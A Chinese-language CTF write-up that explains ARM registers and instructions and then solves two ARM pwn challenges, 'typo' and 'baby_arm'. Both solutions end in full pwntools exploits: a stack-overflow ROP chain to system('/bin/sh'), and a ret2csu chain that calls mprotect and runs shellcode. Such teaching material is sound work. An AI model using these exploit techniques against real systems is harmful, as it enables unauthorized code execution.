作者：萝卜@星盟
寄存器
ARM处理器中一共有37个32寄存器，其中31个为通用寄存器、6个位状态寄存器。任何时候，通用寄存器（R0-R14）、PC、一个状态寄存器都是可以访问的。但是在不同的工作状态和工作模式，寄存器是否可以访问是不一样的。
状态寄存器就是保存了符号标志、零标志、溢出标志、进位标志等，和X86汇编寄存器中的一些寄存器的相似的
R0-R12供程序数据使用，R13是栈指针（SP），R14为子程序链接寄存器（LR），通常存储函数的返回地址
指令
ARM处理器的指令集可以分为六种指令：跳转指令、数据处理指令、程序状态寄存器处理指令、加载存储指令、协处理器指令、异常产生指令。总的来说和X86指令集还是有些不一样的
跳转指令
跳转指令可以分为两种：
- 专门的跳转指令，可以实现向前向后
32MB的地址跳转 - 直接修改
PC寄存器，通过向PC寄存器写入目的地址，可以实现4GB的地址空间的跳转，结合使用MOV LR, PC，保存函数的返回地址
-
B：执行一个简单的跳转，目标地址是相对于当前PC值的偏移地址 -
BL：跳转之前会把PC值存到R14寄存器中，通常用于函数调用 -
BLX：和上一个指令相比，多的功能是将处理器的工作状态由ARM变成Thumb -
BX：可以跳转到ARM指令或者Thumb指令
数据处理指令
可分为数据传送指令、算术逻辑运算运算、比较指令
-
MOV：和X86是差不多的 -
MVN：在转移之前先按位取反 -
CMP：两个寄存器中的值进行比较，不改变寄存器的值，但是更新CPSR标志寄存器 -
ADD：把后两个寄存器相加，结果存在第一个寄存器中 -
SUB：把后两个寄存器相减，结果存在第一个寄存器中 -
AND：逻辑与 -
ORR：逻辑或 -
EOR：异或 -
MUL：把后两个寄存器相乘，结果存在第一个寄存器中
程序状态寄存器处理指令
-
MRS：用于将程序状态寄存器的内容送到通用寄存器 -
MSR：将操作数的内容送到程序状态寄存器的特定域
加载存储指令
适用于在寄存器和存储器之间数据的传输
和
X86不一样的是mov指令只能够在寄存器之间传送数据
-
LDR：将一个32位的数据送到寄存器中 -
LDRB：将一个8位的数据送到寄存器中，并且把高24位清零 -
LDRH：将一个16位的数据送到寄存器中，并且把高16位清零 -
STR：从源寄存器32位存入到存储器中，和前几个指令相比是不清零
协处理器指令
-
CDP：用于ARM处理器通知ARM协处理器来处理特定的操作，若协处理器不能完成，则抛出异常 -
LDC：让协处理器来将源寄存器的内容送到存储器中，若协处理器不能完成操作，则抛出异常
异常产生指令
-
SWI：产生软件中断 -
BKPT：产生软件断点中断
以上总结的是常见的，如果做题遇到不认识的指令，及时添补即可
实战
typo
题目信息：
radish ➜ arm-pwn file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
radish ➜ arm-pwn checksec --file typo
[*] '/media/psf/Home/MyFile/ctf/arm-pwn/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
题目是静态链接，但是已经去了符号表，我们可以把libc的符号表导出来，再导进去这个文件，即可恢复一些符号
用ida来分析程序：（通过字符串来找到关键函数）sub_8F00
void __fastcall __noreturn sub_8F00(int a1, int a2)
{
int v2; // ST00_4
int v3; // ST04_4
void *v4; // r3
int v5; // r1
void *v6; // r2
void *v7; // r3
int v8; // r0
int v9; // r0
sub_11D04(off_A1538, 0, 2, 0, a2, a1);
sub_11D04(off_A1534[0], 0, 2, 0, v2, v3);
sub_22240(1, "Let's Do Some Typing Exercise~nPress Enter to get start;nInput ~ if you want to quitn", 0x56, v4);
if ( sub_12170() != 10 )
sub_FBD4(-1);
sub_22240(1, "------Begin------", 0x11, 0xA);
v8 = time(0, v5, v6, v7);
sub_FE28(v8);
ftime();
v9 = sub_10568();
sub_11338("n%sn", &aAbandon[20 * (v9 % 4504)]);
}
首先用户必须先读入一个回车，然后才程序继续，不然程序就直接退出了，测试的时候发现f5出的不是太全，看汇编
.text:00009034 LDR R2, [R11,#-0x1C]
.text:00009038 MOV R3, R2
.text:0000903C MOV R3, R3,LSL#2
.text:00009040 ADD R3, R3, R2
.text:00009044 MOV R3, R3,LSL#2
.text:00009048 LDR R2, =aAbandon ; "abandon"
.text:0000904C ADD R3, R3, R2
.text:00009050 MOV R0, R3
.text:00009054 BL sub_8D24
.text:00009058 STR R0, [R11,#-0x20]
.text:0000905C LDR R3, [R11,#-0x20]
.text:00009060 CMP R3, #0
.text:00009064 BNE loc_907C
.text:00009068 LDR R0, =aERROR ; "E.r.r.o.r."
.text:0000906C BL sub_11AC0
.text:00009070 LDR R3, [R11,#-0x14]
可以看到E.r.r.o.r.，这个是每次循环读入字符串之后的输出，那么输入的函数肯定在这个之前
sub_8D24
signed int __fastcall sub_8D24(int a1)
{
unsigned int v1; // r0
int v2; // r4
unsigned __int8 *v5; // [sp+4h] [bp-78h]
char v6; // [sp+Ch] [bp-70h]
v5 = a1;
memset(&v6, 0, 100);
sub_221B0(0, &v6, 0x200);
v1 = strlen(v5);
if ( !sub_1F860(v5, &v6, v1) )
{
v2 = strlen(v5);
if ( v2 == strlen(&v6) - 1 )
return 1;
}
if ( v6 == 0x7E )
return 2;
return 0;
}
可以清晰的看到存在栈溢出
用pwndbg中的cyclic测出来偏移是112,第一次做arm的pwn，搞不懂返回地址在哪里存，把stack的数据打印出来就好了：
pwndbg> stack 100
00:0000│ sp 0xf6ffee78 —▸ 0xa30d8 ◂— 0
01:0004│ 0xf6ffee7c —▸ 0x9c0f8 ◂— rsbvc r6, sb, #0x730000 /* 0x72696873; 'shirt' */
02:0008│ 0xf6ffee80 —▸ 0xf6ffeee4 ◂— 0x0
03:000c│ r1 0xf6ffee84 ◂— 'wxmn'
04:0010│ 0xf6ffee88 ◂— 0x0
... ↓
1c:0070│ 0xf6ffeee8 —▸ 0x6bf08 ◂— beq #0x1d35338 /* 'n%sn' */
1d:0074│ 0xf6ffeeec —▸ 0xf6ffef40 —▸ 0x8af8c ◂— cdphi p13, #0xb, c2, c2, c0, #0 /* 0x8eb22d00 */
1e:0078│ 0xf6ffeef0 —▸ 0xf6ffef2c —▸ 0xa0ac ◂— bl #0xfbd4
1f:007c│ r11 0xf6ffeef4 —▸ 0x9058 ◂— str r0, [fp, #-0x20] /* ' ' */
20:0080│ 0xf6ffeef8 —▸ 0xf6fff084 —▸ 0xf6fff241 ◂— './typo'
21:0084│ 0xf6ffeefc ◂— 0x1
22:0088│ 0xf6ffef00 ◂— 0x6
23:008c│ 0xf6ffef04 —▸ 0xf6fff241 ◂— './typo'
24:0090│ 0xf6ffef08 —▸ 0x8cb4 ◂— push {r3, lr}
25:0094│ 0xf6ffef0c —▸ 0xa670 ◂— cmp r4, sb /* 't' */
可以发现返回地址存在r11，距离R11的偏移也刚刚好是112
然后用ROPgadget找到合适的指令
radish ➜ arm-pwn ROPgadget --binary typo --only 'pop'
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}
Unique gadgets found: 29
radish ➜ arm-pwn
可以看到有一个pop {r0, r4, pc}，刚好覆盖了第一个参数和pc，修改成system("/bin/shx00")即可
exp:
from pwn import *
# from LibcSearcher import *
context.log_level='debug'
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
r = process("./typo", timeout = 2)
ru("if you want to quitn")
sl("")
ru("n")
ru("n")
system_addr = 0x00110B4
bin_sh_addr = 0x006C384
ppp = 0x00020904#pop {r0, r4, pc}
payload = "A"*112+p32(ppp)+p32(bin_sh_addr)+p32(0)+p32(system_addr)
sl(payload)
ri()
baby_arm
这个题是64位的
通过捣鼓环境发现在ubuntu:18.04上gdb没有报错，所以又在ubuntu:18.04配置了一下环境
radish ➜ arm-pwn checksec --file baby_arm
[*] '/media/psf/Home/MyFile/ctf/arm-pwn/baby_arm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
radish ➜ arm-pwn file baby_arm
baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
这道题是动态链接的
在IDA里面分析程序
__int64 sub_400818()
{
sub_400760();
write(1LL, "Name:", 5LL);
read(0LL, &unk_411068, 512LL);
sub_4007F0();
return 0LL;
}
首先读入bss段上一个长度512的字符串,然后在sub_4007F0里面存在栈溢出
__int64 sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h]
return read(0LL, &v1, 512LL);
}
但是发现，第二次输入的字符串在ret地址的下面，所以覆盖sub_400818函数的返回地址
SP 0x40007ffd60 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
PC 0x400810 ◂— ldp x29, x30, [sp], #0x50
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
► 0x400810 ldp x29, x30, [sp], #0x50
0x400814 ret
↓
0x400858 movz w0, #0
0x40085c ldp x29, x30, [sp], #0x10
0x400860 ret
↓
0x40008656e0 bl #0x4000879f40
↓
0x4000879f40 stp x29, x30, [sp, #-0x10]!
0x4000879f44 adrp x1, #0x4000999000
0x4000879f48 movz w3, #0x1
0x4000879f4c add x1, x1, #0x5a0
0x4000879f50 mov x29, sp
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────
00:0000│ x29 sp 0x40007ffd60 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
01:0008│ 0x40007ffd68 —▸ 0x400858 ◂— movz w0, #0
02:0010│ x1 0x40007ffd70 ◂— 'aaaaaaaaan'
03:0018│ 0x40007ffd78 ◂— 0x1000000a61 /* 'an' */
04:0020│ 0x40007ffd80 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
05:0028│ 0x40007ffd88 —▸ 0x400854 ◂— bl #0x4007f0
06:0030│ 0x40007ffd90 —▸ 0x400868 ◂— stp x29, x30, [sp, #-0x40]!
07:0038│ 0x40007ffd98 ◂— 0x8020080280200802
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────
► f 0 400810
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x000000000400810
计算出来偏移是72，这里ROP用到的是ret2csu
loc_4008AC ; CODE XREF: sub_400868+60↓j
LDR X3, [X21,X19,LSL#3] ;将x21寄存器的地址指向的内容赋给x3寄存器
MOV X2, X22 ;将x22寄存器的内容赋给x2
MOV X1, X23 ;将x23寄存器的内容赋给x1
MOV W0, W24 ;将W24寄存器的内容赋给W0
ADD X19, X19, #1 ;x19寄存器加一
BLR X3 ；跳转到x3寄存器指向的地址
CMP X19, X20 ；比较x19和x20是否相等
B.NE loc_4008AC ；如果不相等，就跳回loc_4008AC继续执行
loc_4008CC ; CODE XREF: sub_400868+3C↑j
LDP X19, X20, [SP,#0x10] ;将sp+0x10,sp+0x18处的内容给x19,x20
LDP X21, X22, [SP,#0x20] ;将sp+0x20,sp+0x28处的内容给x21,x22
LDP X23, X24, [SP,#0x30] ;将sp+0x30,sp+0x38处的内容给x23,x24
LDP X29, X30, [SP],#0x40 ;将sp,sp+0x8处的内容给x29,x30
RET
然后函数里面存在mprotect，我们利用ROP把bss段修改成可读可写可执行的权限，然后把shellcode写入里面，最后跳转到bss段即可获取到shell
exp:
from pwn import *
context.binary = "./baby_arm"
context.log_level='debug'
'''
if local:
p = remote("106.75.126.171","33865")
elif debug:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
else:
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
'''
# r = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
# r = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("Name:")
shellcode = asm(shellcraft.aarch64.sh())
mprotect_point = 0x4110a0
mprotect_plt = 0x000000000400600
pay = shellcode + "a"*0xc+p64(mprotect_plt)
# print len(shellcode)
sl(pay)
code_1 = 0x4008CC
payload = "a"*72
payload += p64(code_1)
payload += p64(0)+p64(0x4008AC)
payload += p64(0)+p64(1)#X19, X20, [SP,#0x10]
payload += p64(mprotect_point)+p64(7)#X19, X20, [SP,#0x10]
payload += p64(0x1000)+p64(0x000000000411000)
payload += p64(0)+p64(0x411068)
# gdb.attach(r,'''
# set architecture aarch64
# ''')
# raw_input()
sl(payload)
ri()
参考
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